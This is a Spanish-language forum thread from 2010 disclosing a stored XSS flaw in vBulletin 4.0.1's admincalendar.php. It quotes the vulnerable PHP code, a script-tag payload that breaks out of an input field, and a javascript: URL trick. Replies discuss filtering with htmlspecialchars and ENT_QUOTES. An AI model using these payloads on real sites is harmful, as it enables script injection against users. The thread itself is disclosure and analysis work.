elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  XSS vBulletin 4.0.1 [admincalendar.php]
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: XSS vBulletin 4.0.1 [admincalendar.php]  (Leído 4,585 veces)
Shell Root
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.724


<3


Ver Perfil WWW
XSS vBulletin 4.0.1 [admincalendar.php]
« en: 6 Marzo 2010, 08:11 am »

XSS vBulletin 4.0.1

By: Shell Root


Dentro del archivo admincalendar.php de la linea 170 a la 192, se realiza una inserción a la base de datos.
Código
  1. $db->query_write("
  2. INSERT INTO " . TABLE_PREFIX . "calendarcustomfield
  3. (
  4. calendarid,
  5. title,
  6. options,
  7. allowentry,
  8. required,
  9. length,
  10. description
  11. )
  12. VALUES
  13. (" .
  14. $vbulletin->GPC['calendarid'] .", '" .
  15. $db->escape_string($vbulletin->GPC['title']) . "', '" .
  16. $db->escape_string($vbulletin->GPC['options']) . "', " .
  17. $vbulletin->GPC['allowentry'] . ", " .
  18. $vbulletin->GPC['required'] . ", " .
  19. $vbulletin->GPC['length'] . ", '" .
  20. $db->escape_string($vbulletin->GPC['description']) . "'
  21. )
  22. ");
  23. }

Al mirar detenidamente, se vé la función escape_string y me pregunte y de hecho postee aquí, de que se trataba esa función, ya que no es una función propia del PHP. Me dí a la busqueda de dicha función y se encontraba dentro del archivo includes/class_core.php, desde la linea 717 hasta 727.
Código
  1. function escape_string($string)
  2. {
  3. if ($this->functions['escape_string'] == $this->functions['real_escape_string'])
  4. {
  5. return $this->functions['escape_string']($string, $this->connection_master);
  6. }
  7. else
  8. {
  9. return $this->functions['escape_string']($string);
  10. }
  11. }
Esta función lo que hace es evitar caracteres especiales dentro de una sentencia SQL (Como bien me lo dijo Nakp).

Ahora que pasa si no ingresamos caracteres especiales para afectar una sentencia SQL sino algo como esto <script>alert(/XSS/)</script>, os dejara pasar y se convertirá en un XSS Persistente!. Miremos...

Dentro del archivo admincalendar.php, tenemos la oportunidad de modificar un calendario y si miramos el codigo fuente, obtenemos esto: (Solo la parte que os interesa)
Código
  1. <input class="bginput" name="calendar[title]" id="it_calendar[title]_1" value="" size="35" dir="ltr" tabindex="1" type="text">

Podemos realizar esto para bypassear el input:
Código
  1. "><script>alert(/XSS/)</script>

A lo que al llamarlo quedará así, provocando un XSS Persistente:
Código
  1. <input class="bginput" name="calendar[title]" id="it_calendar[title]_1" value=""><script>alert(/XSS/)</script>" size="35" dir="ltr" tabindex="1" type="text">

NOTA: La Inserción del XSS dentro del archivo, es solo por un usuario Administrador
En línea

Te vendería mi talento por poder dormir tranquilo.
~ Yoya ~
Wiki

Desconectado Desconectado

Mensajes: 1.125



Ver Perfil
Re: XSS vBulletin 4.0.1 [admincalendar.php]
« Respuesta #1 en: 6 Marzo 2010, 15:03 pm »

Bien hecho Shell Root, me gusta las explicaciones con el source en la mano xD, saludos.
En línea

Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.
Shell Root
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.724


<3


Ver Perfil WWW
Re: XSS vBulletin 4.0.1 [admincalendar.php]
« Respuesta #2 en: 6 Marzo 2010, 15:28 pm »

xD lo más raro de todo, esque tienen una funcion para evitar el XSS dentro del archivo class_core.php en la línea 2387 hasta 2394.
Código
  1. function xss_clean($var)
  2. {
  3. static
  4. $preg_find    = array('#^javascript#i', '#^vbscript#i'),
  5. $preg_replace = array('java script',   'vb script');
  6.  
  7. return preg_replace($preg_find, $preg_replace, htmlspecialchars(trim($var)));
  8. }

 :silbar:

En línea

Te vendería mi talento por poder dormir tranquilo.
AlbertoBSD
Programador y
Moderador Global
***
Desconectado Desconectado

Mensajes: 3.705


🏴 Libertad!!!!!


Ver Perfil WWW
Re: XSS vBulletin 4.0.1 [admincalendar.php]
« Respuesta #3 en: 6 Marzo 2010, 15:36 pm »

Shell Root, es interesante, aunque esto desanima mucho:

Citar
NOTA: La Inserción del XSS dentro del archivo, es solo por un usuario Administrador

Buen aporte!!

Saludos

En línea

~ Yoya ~
Wiki

Desconectado Desconectado

Mensajes: 1.125



Ver Perfil
Re: XSS vBulletin 4.0.1 [admincalendar.php]
« Respuesta #4 en: 6 Marzo 2010, 15:53 pm »

Recuerda que htmlspecialchars tiene el parametro por defecto ENT_COMPAT y convierte las comillas dobles a simples y solo hace eso, para poder filtrar XSS correctamente hay que usar el parametro ENT_QUOTES que filtra las comillas simples y dobles.
En línea

Mi madre me dijo que estoy destinado a ser pobre toda la vida.
Engineering is the art of balancing the benefits and drawbacks of any approach.
WHK
Moderador Global
***
Desconectado Desconectado

Mensajes: 6.605


Sin conocimiento no hay espíritu


Ver Perfil WWW
Re: XSS vBulletin 4.0.1 [admincalendar.php]
« Respuesta #5 en: 6 Marzo 2010, 16:01 pm »

super!, lo agregué al post de recopilaciones
https://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones_a_nivel_web_actualizado_6310-t244090.0.html
En línea

Castg!
Wiki

Desconectado Desconectado

Mensajes: 1.191



Ver Perfil WWW
Re: XSS vBulletin 4.0.1 [admincalendar.php]
« Respuesta #6 en: 7 Marzo 2010, 00:44 am »

xD lo más raro de todo, esque tienen una funcion para evitar el XSS dentro del archivo class_core.php en la línea 2387 hasta 2394.
Código
  1. function xss_clean($var)
  2. {
  3. static
  4. $preg_find    = array('#^javascript#i', '#^vbscript#i'),
  5. $preg_replace = array('java script',   'vb script');
  6.  
  7. return preg_replace($preg_find, $preg_replace, htmlspecialchars(trim($var)));
  8. }

 :silbar:



pero fijate que esa funcion lo que hace no es un "antixss" sino que evita la ejecucion de codigo desde la barra de direcciones, proba comentando esto:
[url]javascript:alert(1)[/url]


quedara: javascript:alert(1)


esto se llama jasildbg

javascript inLine DeBuGer (JaSiLDBG)
« Última modificación: 7 Marzo 2010, 00:57 am por Castg! » En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines